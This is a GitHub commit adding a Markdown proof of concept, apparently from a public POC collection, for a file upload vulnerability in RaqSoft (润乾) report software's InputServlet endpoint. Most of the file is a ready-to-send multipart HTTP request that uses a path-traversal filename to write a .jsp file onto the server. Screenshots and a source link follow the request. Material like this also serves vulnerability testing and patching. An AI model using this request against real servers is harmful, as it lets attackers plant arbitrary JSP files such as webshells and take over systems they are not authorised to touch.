Create 润乾报表InputServlet接口存在文件上传漏洞.md

wy876 · Apr 27, 2024 · 8d4065f · 8d4065f
1 parent 8cf62b7
commit 8d4065f
Showing 1 changed file with 32 additions and 0 deletions.
diff --git a/润乾报表InputServlet接口存在文件上传漏洞.md b/润乾报表InputServlet接口存在文件上传漏洞.md
@@ -0,0 +1,32 @@
+## 润乾报表InputServlet接口存在文件上传漏洞
+
+环境：https://github.com/charlesvhe/raqsoft
+
+## poc
+```
+POST /InputServlet?action=12 HTTP/1.1
+Host: 127.0.0.1:8080
+Content-Type: multipart/form-data; boundary=--------------------------170005680039721412137562
+Accept-Encoding: gzip, deflate, br
+Content-Length: 2401
+
+----------------------------170005680039721412137562
+Content-Disposition: form-data; name="upsize"
+
+1024
+----------------------------170005680039721412137562
+Content-Disposition: form-data; name="file"; filename="/\..\\..\2.jsp"
+Content-Type: image/png
+
+11111
+----------------------------170005680039721412137562--
+
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/040e8f76-a72c-47db-a161-d14cab5db001)
+
+![image](https://github.com/wy876/POC/assets/139549762/bea567d7-6648-4cbe-990a-8fbb876d7660)
+
+
+## 漏洞来源
+- https://mp.weixin.qq.com/s/-u1fn_q4e-YhJUEqwNG1Zg